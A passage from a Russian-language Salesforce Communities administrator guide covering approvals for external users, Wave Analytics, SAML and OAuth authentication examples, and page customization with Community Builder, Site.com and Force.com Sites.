(дополнительно)

Импорт организаций и контактов моей организации на вкладке
«Организации и контакты» сообщества.

«Управление интересами»Изменение статуса нескольких интересов посредством кнопки «Изменить
статус».

«Перенос интересов»Изменение ответственного за несколько интересов посредством кнопки
«Изменить ответственного».

Настройка утверждений для внешних пользователей сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления
или клонирования
процессов утверждения:
• «Настройка

приложения»

Для создания илиизменения
очередей:
• «Настройка

приложения»

И

«Управление
общедоступными
списковыми
представлениями»

Пользователи-клиенты и пользователи-партнеры сообщества могут назначаться
ответственными за утверждение записей или добавляться прямо в очереди. Данные
пользователимогутпросматриватьивыполнятьдействияпосредствомсвязанныхсписков
записи «Мои утверждения» и «Журнал утверждений». Кроме того, утверждения могут
быть инициированы прямо из ленты Chatter.

Процесс утверждения — это автоматический процесс, который может использоваться
организацией для утверждения записей Salesforce. Процесс утверждения определяет
этапы, необходимые для утверждения записи, а также ответственных за утверждение на
каждом этапе. Этап может применяться ко всем записям процесса или только к записям,
соответствующим определенным критериям, заданным администратором. Процесс
утверждения также определяет действия, которые должны быть выполнены при
утверждении, отклонении, отзывеилипервоначальнойотправке записина утверждение.

Прим.:

• Пользователи с массовыми лицензиями (например, «Массовый клиентский
портал» и «Проверенный веб-узел») не могут утверждать записи.

• Внешние пользователи с устаревшими лицензиями портала могут утверждать
записи только в сообществах.

При настройке утверждений или очередей рекомендуем использовать поля поиска для
поиска пользователей-клиентов и пользователей-партнеров.

Например, при настройке утверждения рекомендуем использовать поле поиска для
поиска и выбора пользователя-клиента, который должен автоматически назначаться в
качестве ответственного за утверждение.
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Принастройке электронныхуведомленийдлябизнес-правилутверждениясообщенияэлектроннойпочтыотправляются
участникам сообщества. Если пользователь является участником нескольких активных сообществ, то сообщения
электроннойпочтыотправляютсяиз самогодавнего активного сообщества. Все ссылкив сообщенииэлектроннойпочты
направляют пользователей прямо на страницу утверждения внутри сообщества.

В приложении Salesforce1 пользователи могут просматривать и выполнять действия посредством связанного списка
«Журнал утверждений», но не могут отправлять запросы на утверждение. Пользователи могут отправлять запросы на
утверждение только посредством полной версии системы Salesforce.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Ограничения автоматизации процессов

Создание очередей
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Включение Wave Analytics в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Сообщества доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Wave Analytics доступен в
следующих версиях:
Developer Edition.

Wave Analytics доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И участие в сообществе,
подлежащем
обновлению

Для изменения параметров
Wave Analytics:
• “«Управление Wave

Analytics»

Для просмотра панелей
мониторинга и
представлений Lens в Wave:
• «Просмотр Wave

Analytics на страницах
сообщества»

Включение Wave для сообществ позволяет пользователям-партнерам и
пользователям-клиентам просматривать и изучать панели мониторингаWave Analytics
в сообществе.

Прим.: Даннаяфункцияподдерживается сообществами, нонепорталами. Данная
функция поддерживается для пользователей с ролью, и не поддерживается для
пользователей массового портала.

ПосленастройкиWave Analytics ворганизации Salesforce выполните следующиедействия
для предоставления общего доступа к панелям мониторинга Wave в сообществе.

1. Введите строку Wave Analytics в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Настройка». Выберите Включение Wave Analytics для
сообществ.

2. В записи пользователя для участника сообщества перейдите в раздел «Назначение
лицензии на набор полномочий» и включите лицензию на набор полномочий
«Analytics Cloud — пользователи сообщества Wave».

3. Создайте набор полномочий, который включает разрешение «Просмотр Wave
Analytics на страницах сообщества», и назначьте его участникам сообщества.

4. Создайте панели мониторинга в Wave и сохраните их в приложении Wave.
Предоставьте к этому приложению общий доступ в сообществе. Дополнительные
сведения о работе с Wave см. в разделе Библиотека Wave Analytics.

5. Внедрение панелей мониторинга Wave на страницы Visualforce в сообществе.
Дополнительные сведения см. в разделе Добавление панели мониторинга Wave
Analytics на страницу Visualforce.

6. Из приложения Wave с панелями мониторинга предоставьте доступ участникам
сообщества, нажав «Использоватьсовместно». Партнерамиклиентамсообщества
предоставляется только уровень доступа «Гость». Из сообщества они могут
детализировать и изучать панель мониторинга и ее ссылки.

Безопасность и проверка подлинности

Варианты проверки подлинности
Ниже приведены общие сведения о вариантах проверки подлинности, доступных в
сообществах.

• Внутренние пользователи организации, принадлежащие сообществу, должны
применять поток входа сотрудника и использовать свои регистрационные данные
Salesforce.

• Стандартным вариантом входа для внешних пользователей являются
регистрационныеданные, назначенныесистемойSalesforceдлясообщества. Внешниепользователи — этопользователи
с лицензиями сообщества, клиентского или партнерского портала.

• Организация, использующая единую регистрацию для управления удостоверениями, может использовать SAML для
единой регистрации. Данный алгоритм позволяет внешним пользователям выполнять вход в систему Salesforce
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посредством корпоративного поставщика удостоверений. Сообщества поддерживают несколько конфигураций
SAML. См. раздел «Настройка SAML для сообществ» на странице 3510.

Прим.: Все варианты проверки подлинности также поддерживают настраиваемые веб-адреса HTTPS.

Организация может разрешить проверку подлинности посредством внешнего поставщика услуг (например, Facebook©,
Janrain© или Salesforce). См. раздел «Настройка поставщиков проверки подлинности» на странице 3513.

Чтобы интегрировать сообщества в настраиваемые фирменные приложения (например, мобильные или настольные
приложения), рекомендуем создать фирменные процессы проверки подлинности посредством OAuth.

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

Настройка SAML для сообществ

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Если организация использует принцип единой регистрации, позволяющий упростить
истандартизироватьпроцесспроверкиподлинностипользователей, тоданныйпринцип
может также применяться к сообществам.

Указанная ниже информация предназначается пользователям, умеющим обращаться с
протоколами проверки подлинности SAML, а также знающим основные принципы
работыспоставщикомудостоверенийдлянастройкиединойрегистрацииворганизации.
При внедрении SAML для сообществ рекомендуем использовать URL-адрес сообщества,
связанный со входом для процесса единой регистрации. Кроме того, убедитесь, что
URL-адрес сообщества в методе POST утверждения SAML содержит /login.

Ниже приведена общая схема процесса обработки запросов и ответов SAML между
обозревателем пользователя, сообществом и поставщиком удостоверений.
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Данная таблица сравнивает требования для утверждений SAML сообщества с требованиями для других типов доменов
Salesforce.

СообществоForce.com SitesПорталСтандартныйТребование

URL-адрес сообществаlogin.salesforce.comlogin.salesforce.comlogin.salesforce.comURL-адрес для
выполнения метода
POST утверждения
SAML.

НетДа (передается как
атрибут)

Да (передается как
атрибут)

НетЯвляются ли
organization_id
и portal_id Прим.: Являются

обязательными приобязательными в
утверждении? использовании

своевременной
инициализации для
создания пользователей
портала в сообществе.
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СообществоForce.com SitesПорталСтандартныйТребование

Пользователи портала
конкретного сообщества
могут быть
инициализированы без
portal_id.

НетДа (передается как
атрибут)

НетНетЯвляетсяли siteUrl
обязательным в
утверждении?

Пример утверждения SAML ниже отображает URL-адрес сообщества, указанный в поле «Получатель», для выборочного
клиентского сообщества в организации Acme. Данный пример применяется к организации, использующей одну
конфигурацию SAML.

<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">

<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:
entity">https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:

status:Success"/>
</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:

nameid-format:entity">https://www.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:

nameid-format:unspecified">saml_portal_user_federation_id
</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:
SAML:2.0:cm:bearer">

<saml:SubjectConfirmationData NotOnOrAfter=
"2009-06-17T18:48:25.456Z"
Recipient="https://acme.force.com/customers/login/?

saml=02HKiPoin4f49GRMsOdFmhTgi_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>
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<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:

ac:classes:unspecified
</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

</saml:Assertion>
</samlp:Response>

Еслиорганизацияиспользуетразныеконфигурации SAML, топредыдущийпримерутверждения SAML можетприменяться
после некоторых изменений в поле «Получатель».

• Завершающая косая черта после login является необязательной.

• Параметр so является обязательным и должен определять код организации.

Поле «Получатель» будет выглядеть следующим образом:

Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM"

При выходе из сообщества внешние пользователи, авторизованные посредством SAML для единой регистрации,
перенаправляются согласно параметру «URL-адрес выхода для поставщика удостоверений», заданному в параметрах
SAML сообщества. Чтобы получить доступ к параметрам SAML, введите строку «Параметры единой регистрации» в поле
«Быстрый поиск» меню «Настройка» и выберите пункт «Параметры единой регистрации».

СМ. ТАКЖЕ:

Примеры утверждений SAML

Рекомендации по внедрению единой регистрации

https://developer.salesforce.com/page/Single_Sign-On_with_SAML_on_Force.com

Настройка поставщиков проверки подлинности
Внешние пользователи могут выполнять вход посредством своих регистрационных данных из Facebook©, Janrain© или
другой организации Salesforce, при условии настройки поставщиков проверки подлинности на странице «Поставщики
проверки подлинности» меню «Настройка» и их отображения на странице входа сообщества.

Прим.: Указанная ниже информация предназначается пользователям, умеющим обращаться с поставщиками
проверки подлинности для единой регистрации.

При использовании настраиваемой страницы входа Visualforce взамен стандартной страницы входа рекомендуем
использовать поле «URL-адрес инициализации единой регистрации» на странице сведений о поставщике проверки
подлинности в качестве целевого URL-адреса настраиваемой кнопки входа. Например:
https://login.salesforce.com/services/auth/sso/код_организации/индекс_URL?community=https://acme.force.com/support
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При использовании Janrain в качестве поставщика проверки подлинности дополните виджет входа Janrain, развернутый
на сайте, строкой ниже.

janrain.settings.tokenUrl='https://login.salesforce.com/services/authcallback/orgID/URLsuffix'
+'?flowtype=sso&community='+encodeURIComponent('https://acme.force.com/customers');

СМ. ТАКЖЕ:

Общие сведения о внешних поставщиках проверки подлинности

Использование параметров запроса в URL-адресах конфигурации клиента

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

Настройка процессов проверки подлинности посредством OAuth

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы разрешить организации создание интеграций между сообществами и
настраиваемымифирменнымиприложениями (например, мобильные или настольные
приложения), рекомендуем использовать OAuth для создания фирменной страницы
входа.

Указанная ниже информация предназначается пользователям, умеющим обращаться с
протоколами OAuth и процессамипроверки подлинности для приложений удаленного
доступа. Сообщества поддерживают все доступные процессы проверки подлинности,
кроме процесса проверки подлинности имени пользователя и пароля OAuth, а также
процессаутверждения SAML. Привнедрениифирменныхпроцессов OAuth длясообществ
рекомендуемнастроить URL-адресавторизациидляиспользования URL-адресасообщества.
Данный алгоритм позволяет процессу проверки подлинности перенаправлять
пользователей на страницу утверждения приложения.

Прим.: После выполнения входа от имени другого пользователя администраторыне могут авторизовывать доступ
к данным OAuth для данного пользователя. Например, администраторынемогут авторизовывать доступ к OAuth для
учетных записей пользователей, включая единую регистрацию в сторонних приложениях.

Например, чтобы проверить подлинность пользователя посредством URL-адреса авторизации ниже:

https://login.salesforce.com/services/oauth2/authorize?
response_type=token&client_id=your_app_id&redirect_uri=your_redirect_uri

Замените имя хоста login.salesforce.com полным путем к URL-адресу сообщества ниже:

https://acme.force.com/customers/services/oauth2/authorize?
response_type=token&client_id=your_app_id&redirect_uri=your_redirect_uri

При успешном внедрении данный URL-адрес перенаправляет пользователей на страницу входа сообщества. После
авторизации приложения рекомендуем задать маркеры доступа и обновления для будущей проверки подлинности. По
аналогии замените хост сообществом в запросах для конечной точки маркера.

https://acme.force.com/customers/services/oauth2/token

Прим.: Полученный параметр access_token может быть передан как маркер носителя в запросе на заголовок
авторизации. Далее приведен пример вызова REST API к сообществам:
https://acme.force.com/customers/services/data/v32.0/ -H "Authorization: Bearer
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00D50000000IehZ\!AQcAQH0dMHZfz972Szmpkb58urFRkgeBGsxL_QJWwYMfAbUeeG7c1E6
LYUfiDUkWe6H34r1AAwOR8B8fLEz6n04NPGRrq0FM"

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

https://developer.salesforce.com/page/Digging_Deeper_into_OAuth_2.0_on_Force.com

https://developer.salesforce.com/page/Using_OAuth_to_Authorize_External_Applications

salesforce_chatter_rest_api.pdf

Управление макетом и страницами

Планирование стратегии разработки сообщества
Прииспользованиинастраиваемых страниц сообщества вместо стандартных вкладокифирменного стиля рекомендуем
принять решение о необходимости использования конструктора сообществ или Force.com. Чтобы настроить страницы
сообщества, воспользуйтесь разделами ниже.

• Использование Visualforce и Force.com Sites

• Использование конструктора сообществ с шаблонами

• Использование конструктора сообществ (Site.com) без шаблонов

При необходимости настройте другие указанные ниже области сообщества.

• Добавление поля глобального поиска в настраиваемый верхний колонтитул HTML сообщества на странице 3470

• Настройка настраиваемого домена для сообщества

• Переименование вкладки Chatter

Выбор между конструктором сообществ и Force.com Sites
Чтобы добавить новые страницы или настроить текущие страницы сообщества, воспользуйтесь Force.com Sites или
конструкторомсообществ. Обапродуктапозволяютсоздаватьфирменныеобщедоступныестраницы (например, целевые
или маркетинговые страницы) и личные настраиваемые страницы, доступные только участникам сообщества.

Какойпродуктследуетиспользоватьдлянастройкисообщества? Правильныйвыборопределяетсянавыкамипользователя
и требованиями организации. При необходимости страницы Force.com и страницы конструктора сообществ могут
использоваться вместе для полного контроля над выполняемыми настройками.

Конструктор сообществ
Конструктор сообществ — это интуитивно-понятный удобный инструмент для настройки сообщества. Конструктор
сообществ позволяет создавать сообщество на основе предварительно настроенного шаблона, а затем использовать
интуитивно-понятный интерфейс для применения фирменного стиля, редактирования страниц, обновления шаблона
и публикации изменений.

При использовании конструктора сообществ вам открываются следующие возможности.

• Использованиешаблона самообслуживания (Koa, Kokua или Napili) для быстрого создания эффективного сообщества
для самообслуживания.

• Использование шаблона Aloha для создания настраиваемого средства запуска приложений.
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• Оформление высококачественныхфирменных страниц.

• Созданиеобщедоступныхстраницилиличныхстраниц, которыемогутбытьдобавленывкачествевкладкисообщества.

• Быстрое повторение созданных многоразовых элементов страницы с помощью перетаскивания.

• Использование готовых форм для создания форм Web-to-Lead или сбора отзывов клиентов.

• Создание страниц под управлением данных (например, каталоги продуктов и другие списки) посредством данных
организации.

• Установка начальной страницы и настройка многоязычной поддержки вашего сообщества в среде Site.com Studio,
системе управления веб-содержимым, предоставляющей дополнительные параметры конфигурации. Среда Site.com
Studio доступна на странице «Управление сообществом».

Force.com Sites
Force.com Sites — это продукт, предназначенный для более опытных разработчиков Visualforce и позволяющий создавать
настраиваемые страницы или веб-приложения путем наследования возможностей Force.com, включая аналитику,
бизнес-правила, утверждения и программируемую логику. Таким образом, Force.com Sites поддерживает программное
создание сайтов посредством Apex и интерфейсов API. При использовании Force.com вам открываются следующие
возможности.

• Создание общедоступных фирменных страниц.

• ИспользованиеVisualforceдлясозданияличныхстраниц, которыемогутбытьдобавленывкачествевкладкисообщества.

• Создание собственных контроллеров или расширений для контроллеров посредством кода Apex.

• Создание настраиваемых страниц входа или самостоятельной регистрации.

• Создание динамических веб-приложений (например, приложение для управления событиями).

Быстрый обзор функций
Не можете выбрать нужный продукт? Таблица ниже содержит дополнительную информацию офункциях каждого
продукта.

Force.com SitesКонструктор сообществФункция

Общедоступные страницы

Шаблоны сообщества (Koa, Kokua, Napili, Aloha)*

Проверенные страницы*

страницы Visualforce

Стандартные страницы входа, выхода, самостоятельной
регистрации и ошибок

Интерактивная среда

Многоразовые компоненты

Высококачественное оформление

Ограничения IP-адресов
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Force.com SitesКонструктор сообществФункция

Доступ к данным (например, обращения, интересы и
возможности)

Готовые формы

Система управления веб-содержимым

Программное создание страниц (посредством Apex,
интерфейсов API и контроллеров)

Веб-приложения

Аналитика, отчеты и бизнес-правила

Полная поддержка возможностей платформы Force.com

* Доступно в конструкторе сообществ только пользователям сообществ.

СМ. ТАКЖЕ:

Использование конструктора сообществ с шаблонами

Использование конструктора сообществ (Site.com) без шаблонов

Использование Visualforce и Force.com Sites

Использование конструктора сообществ с шаблонами
Конструктор сообществ поддерживает шаблоны сообщества для самообслуживания, а также позволяет пользователям
создавать, оформлять и публиковать настраиваемое сообщество, гарантируя его великолепный внешний вид на любом
мобильном устройстве! Пользователимогут быстро создавать сообществона основе выбранногошаблона и оформлять
его страницы в соответствии с фирменным стилем компании.

Ниже перечислены действия, поддерживаемые конструктором сообществ и шаблонами.

• Быстрое оформление сообщества в соответствии с фирменным стилем компании.

• Редактированиестраницикомпонентовсообществапосредствомконструкторасообществдлянастройкиихвнешнего
вида и содержимого.

• Предварительный просмотр сообщества для проверки правильности его отображения на разных устройствах.

• Публикация внесенных изменений для предоставления доступа всем пользователям сообщества.

• Применение обновленийшаблона к сообществу по мере их доступности.

При необходимости воспользуйтесь конструктором сообществ для настройки сообществ, созданных посредством
шаблонов ниже.

Kokua
Визуальнообогащенныйадаптивныйшаблонсамообслуживания, позволяющийпользователямискатьипросматривать
статьи или обращаться в службу поддержки при отсутствии искомых статей. Данныйшаблон поддерживает базу
знаний и обращения.
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Koa
Текстовыйадаптивныйшаблонсамообслуживания, позволяющийпользователямискатьипросматривать статьиили
обращаться в службу поддержки при отсутствии искомых статей. Данныйшаблон поддерживает базу знаний и
обращения.

Napili
Многофункциональныйадаптивныйшаблонсамообслуживания, позволяющийпользователямпубликоватьвопросы
в сообщество, искать и просматривать статьи, а также создавать обращения для отправки агентам службыподдержки.
Данныйшаблон поддерживает базу знаний, обращения, вопросы и ответы.

Aloha
Настраиваемыйшаблон средства запуска приложений, позволяющий пользователям быстро находить приложения
и получать к ним доступ путем использования проверки подлинности посредством единой регистрации.

Чтобыоткрытьконструкторсообществипродолжитьнастройкусообществаилиобновитьверсиюшаблона, выполните
указанные ниже действия.

1. Введите строку «Все сообщества» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Всесообщества».

2. Щелкните ссылку «Управление» напротив имени нужного сообщества.

3. Откройте меню «Управление сообществом» в общем верхнем колонтитуле и нажмите «Перейти к конструктору
сообществ».

4. Выполните указанные ниже действия в конструкторе сообществ.

• Оформление сообщества в фирменном стиле. на странице 3527

• Редактирование страниц и компонентов страниц сообщества.

• Обновление шаблона сообщества.

Прим.: Конструктор сообществ поддерживает фирменный стиль для сайтов, созданных путем использования
одногоизпредварительнонастроенныхшаблонов. Взамен, рекомендуемиспользоватьSite.com Studio. Чтобыоткрыть
Site.com Studio, выберите Site.com Studio в меню «Сообщества» на панели инструментов.

Дополнительную информацию об использованиишаблонов Kokua, Koa и Napili см. в Руководстве по внедрению шаблонов
сообщества для самообслуживания.

СМ. ТАКЖЕ:

Выбор между конструктором сообществ и Force.com Sites

Использование конструктора сообществ (Site.com) без шаблонов
Каждое сообществоподдерживаетодинсвязанныйсайт Site.com, позволяющийдополнять сообществонастраиваемыми
фирменными страницами.По умолчанию страницы Site.com являются общедоступными и не требуют входа. При
необходимости пользователи могут создавать личные страницы, доступные только участникам сообщества.

Дополнительную информацию об использовании Site.com см. в интерактивной справке.

Перед началом работы
Полномочие «Созданиеинастройка сообществ» автоматическипредоставляетпользователямсообществполныйдоступ
администратора к сайтам Site.com сообщества. При отсутствии данного полномочия пользователи сообществ могут
редактировать сайтытолькопослеприобретенияиназначениялицензии Site.com Publisher или Site.com Contributor, а также
назначения роли на уровне сайта.
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Советы и рекомендации
• Пользователям сообществ, которым предоставлено полномочие «Создание и настройка сообществ», назначается

роль администратора сайта на сайте Site.com сообщества. Тем не менее, они не отображаются в разделе «Роли
пользователя» вкладки «Общие сведения» среды Site.com Studio.

• Site.com не поддерживает создание, удаление или копирование сайтов сообщества.

• При использовании привязанных к данным компонентов (например, повторители данных и формы) помните, что
перечисленные объектымогут быть недоступныпосетителям сайта. Доступ проверенныхпосетителей к объектам на
общедоступных и личных страницах контролируется соответствующими профилями пользователя. Доступ
непроверенныхпосетителейкобъектамнаобщедоступныхстраницахконтролируетсяпрофилемпользователя-гостя
сайта.

• При добавленииформ на проверенные страницы сообщества в приложении Site.com рекомендуем задать текущего
пользователя для объектов Salesforce, требующих поля «Код ответственного». В отличие от стандартного
пользователя-гостя, текущий пользователь позволяет определять проверенного пользователя при отправке формы.
Чтобы задать текущего пользователя для поля «Код ответственного», выберите нужное поле формы, щелкните
«Настроить» в разделе «Свойства поля» на панели «Свойства», а затем выберите источник «Глобальное свойство»
и значение «Код текущего пользователя».

• Начальная страница, страница ошибок, страница входа и страница самостоятельной регистрации, заданные для
сайтов сообщества Site.com в представлении «Конфигурация сайта», определяют начальные страницы для сайта
сообщества Site.com. Данные стандартные URL-адреса не используются только при настройке других URL-адресов
путем последовательного выбора пунктов «Администрирование» > «Страницы» и «Администрирование» >
«Вход и регистрация» на странице «Управление сообществом». Страницы ошибок сообщества определяются
разделом «Страницы ошибок» меню «Настройка Force.com».

• Если сайт сообщества Site.com неактивен, то пользователи перенаправляются на страницу «Служба недоступна»,
заданную в разделе «Страницы» страницы «Управление сообществом».

• По умолчанию представление автора недоступно сайтам сообщества Site.com. Тем не менее, лицензия Site.com
Contributor можетиспользоватьсядляпредоставлениядоступа авторак конкретномупользователю. Дополнительную
информациюсм. вразделе «Общие сведенияолицензияхнакомпоненты» справки Site.com. Принеобходимостипользователь
может открыть сайт сообщества Site.com для предварительного просмотра от имени автора путем добавления
компонента ?iscontrib в URL-адрессайта. Например: https://sitestudio.na1.force.com/?iscontrib.

СМ. ТАКЖЕ:

Выбор между конструктором сообществ и Force.com Sites

Использование Site.com для настройки сообщества

Общие сведения о сообществах Salesforce

Использование Visualforce и Force.com Sites
Каждое сообщество содержит один связанный сайт Force.com для выполнения расширенных настроек сообщества.
Например, Force.com Sites позволяет выполнять указанные ниже действия.

• Добавление общедоступных страниц, которые не требуют входа, в сообщество.

• Использование фирменных страниц входа и самостоятельной регистрации для предоставления пользователям
возможности входа или регистрации в сообществе.

• Настройка стандартных страниц ошибок, включая страницы «Требуется авторизация (401)» и «Страница не найдена
(404)», для отражения фирменного стиля сообщества.

• Использование страниц Visualforce для создания личных страниц, доступных только участникам сообщества.
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Дополнительную информацию об использовании Force.com Sites см. в интерактивной справке.

Советы и рекомендации
• Страницы Force.com Sites автоматически поддерживают стили фирменного оформления, выбранные в мастере

созданиясообщества. Чтобывыключитьданныестили, задайтеатрибуту standardStylesheets тега <apex:page>
значение false.

• Ниже перечислены ограничения по использованию Force.com Sites в сообществах.

– Стандартные RSS-каналы, функция отслеживания аналитики и настраиваемые страницы профиля портала
недоступны.

– Настраиваемые страницы изменения пароля недоступны.

– Настраиваемые домены позволяют выполнять вход только посредством HTTPS.

• Сайты Force.comнапрямуюобслуживаютсяорганизацией Force.com, поэтомудоступность каждого сайтаопределяется
доступностью организации. Сайты недоступны во время планового обслуживания организации при обновлении
основных выпусков; при попытке доступа к сайту отображается фирменная страница Force.com «На обслуживании»
или настраиваемая страница «Служба недоступна».

• Начальная страница сообщества может быть переадресована на дополнительную начальную страницу Site.com.
Настройтепереадресацию URL-адресана странице сведенийо сайте Force.com. Заполнитеполе «URL-адресисточника»
значением «/», соответствующим начальной странице сообщества, а поле «Целевой URL-адрес» значением «s»,
соответствующим начальной странице сайта Site.com.

СМ. ТАКЖЕ:

Выбор между конструктором сообществ и Force.com Sites
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Настраиваемые страницы сообщества

Переопределение стандартных страниц сообщества настраиваемыми страницами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Рекомендуем использоватьфирменные страницы сообщества «Начальная страница» и
«Служба недоступна» путем переопределения стандартных страниц сообщества.

• Использование настраиваемой начальной страницы сообщества

• Использование настраиваемой страницы при недоступности службы

При необходимости переопределите другие стандартные страницы сообщества в
параметрах сайта Site.com или Force.com для сообщества. Для этого откройте меню
«Управление сообществом» в общем верхнем колонтитуле и щелкните «Перейти к
Force.com» или «Перейти к Site.com Studio». Страницы, выбранные на странице
«Управлениесообществом», автоматическипереопределяютлюбыестраницы, выбранные
ранее в параметрах сайта Site.com или Force.com.

Использование настраиваемой страницы при недоступности службы
В редких случаях недоступности сообщества по причине временного сбоя система
Salesforceотображаетобщуюстраницу «Службанедоступна», оформленнуювфирменном
стиле Force.com. При необходимости замените данную страницу настраиваемой
фирменнойстраницейстатическогоресурсадляпредоставленияучастникамсообщества
индивидуализированного пользовательского интерфейса.

Статический ресурс «Служба недоступна»:

• Должен быть общедоступным архивнымфайлом размером не более 1 Мб.

• Должен содержать страницу maintenance.html на корневом уровне архивного
файла. Другие ресурсы архивного файла (например, изображения или файлы CSS)
могут наследовать структуру любого каталога.

• Должен содержать только файлы с расширениями.

Дополнительную информацию см. в разделе «Назначение страниц ошибок сайта Force.com» справки Salesforce.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Страницы».

3.
Чтобывыбратьнужнуюнастраиваемуюстраницу, щелкните значок напротивстраницы«Службанедоступна».

4. Нажмите кнопку «Сохранить».

Выбраннаястраницаотображаетсясообществомприлюбомвременномсбое. Нижеперечисленынекоторыерекомендации.

• Данный выбор страницы не влияет на сообщества, использующие страницы Site.com Studio.

• Настроеннаястраница «Службанедоступна» доступнавсемсообществамтогожедомена. Взависимостиот требований
организации, даннаядоступностьможетбытьнежелательной. Чтобыизбежатьиспользованияоднойитойжестраницы
для всех сообществ домена, создайтеиназначьте отдельные страницы «Службанедоступна» для каждого сообщества.
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Например, доменподдерживаетдвасообщества: клиентскоесообщество (universaltelco.force.com/customer)
ипартнерскоесообщество (universaltelco.force.com/partner). Прииспользованиинастраиваемойстраницы
«Служба недоступна» только для клиентского сообщества партнерское сообщество отображает такую же страницу
при временном сбое, кроме случаев создания и назначения партнерскому сообществу отдельной страницы «Служба
недоступна».

СМ. ТАКЖЕ:

Переопределение стандартных страниц сообщества настраиваемыми страницами

Использование настраиваемой начальной страницы сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Чтобы настроить стандартную начальную страницу сообщества посредством
фирменного стиля компании, воспользуйтесь настраиваемой страницей конструктора
сообществ (Site.com Studio) или Visualforce.

Начальная страница сообщества отображается непроверенным пользователям в
общедоступном сообществе и позволяет задавать целевую страницу для
пользователей-гостейбезнастройкипереадресаций. Данная страница такженазывается
активной начальной страницей сайта.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Страницы».

3. При использовании начальной страницы сообщества:

a. Выберите тип страницы: «Конструктор сообществ» или «Visualforce».

b. Введите имя страницы или пропустите данное поле для отображения списка
доступных вариантов.

c.
Щелкните значок и выберите имя нужной страницы в результатах поиска.

Прим.: Результаты поиска возвращают только опубликованные страницы
конструктора сообществ (Site.com Studio).

4. Нажмите кнопку «Сохранить».

Страницы, выбранные на странице «Управление сообществом», автоматически переопределяют любые страницы,
выбранные ранее в свойствах сайта Site.com или Force.com.

СМ. ТАКЖЕ:

Настройка стандартной страницы входа сообщества для использования настраиваемой начальной страницы

Переопределение стандартных страниц сообщества настраиваемыми страницами
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Настройка стандартной страницы входа сообщества для использования настраиваемой начальной страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:

• “«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки параметров
администрирования:

• “«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для редактирования классов
Apex:
• «Автор Apex»

